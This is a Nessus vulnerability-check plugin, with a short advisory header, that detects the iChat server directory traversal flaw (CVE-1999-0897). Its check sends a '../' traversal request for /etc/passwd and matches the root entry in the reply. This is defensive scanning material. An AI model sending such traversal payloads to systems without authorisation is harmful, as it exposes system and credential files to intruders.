iChat Server Traversal Arbitrary File Access

1999-06-22T00:00:00
ID ICHAT.NASL
Type nessus
Reporter This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.
Modified 2020-03-02T00:00:00

Description

iChat servers up to version 3.00 allow any user to read arbitrary files on the target system using a directory traversal attack.

                                        
                                            #
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if(description)
{
 script_id(10110);
 script_version ("1.31");
 script_cvs_date("Date: 2018/11/15 20:50:25");

 script_cve_id("CVE-1999-0897");

 script_name(english:"iChat Server Traversal Arbitrary File Access");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote web server is hosting an application that is affected by 
an information disclosure vulnerability." );
 script_set_attribute(attribute:"description", value:
"iChat servers up to version 3.00 allow any user to read arbitrary
files on the target system using a directory traversal attack." );
 script_set_attribute(attribute:"see_also", value:"https://marc.info/?l=bugtraq&m=90538488231977&w=2" );
 script_set_attribute(attribute:"solution", value:
"There is no known solution at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_attribute(attribute:"plugin_publication_date", value: "1999/06/22");
 script_set_attribute(attribute:"vuln_publication_date", value: "1998/09/09");
 script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();
 
 script_summary(english:"Determines if iChat is vulnerable to a stupid bug");
 
 script_category(ACT_GATHER_INFO);
 
 script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
 script_family(english:"Web Servers");
 script_require_ports(4080);
 script_dependencies("http_version.nasl");
 exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:4080);

res = http_send_recv3(method:"GET",item:"../../../../../../../etc/passwd", port:port);
if (isnull(res)) exit(1, "The web server on port "+port+" failed to respond.");

if (egrep(pattern:".*root:.*:0:[01]:.*", string:res[2])) security_warning(port:port);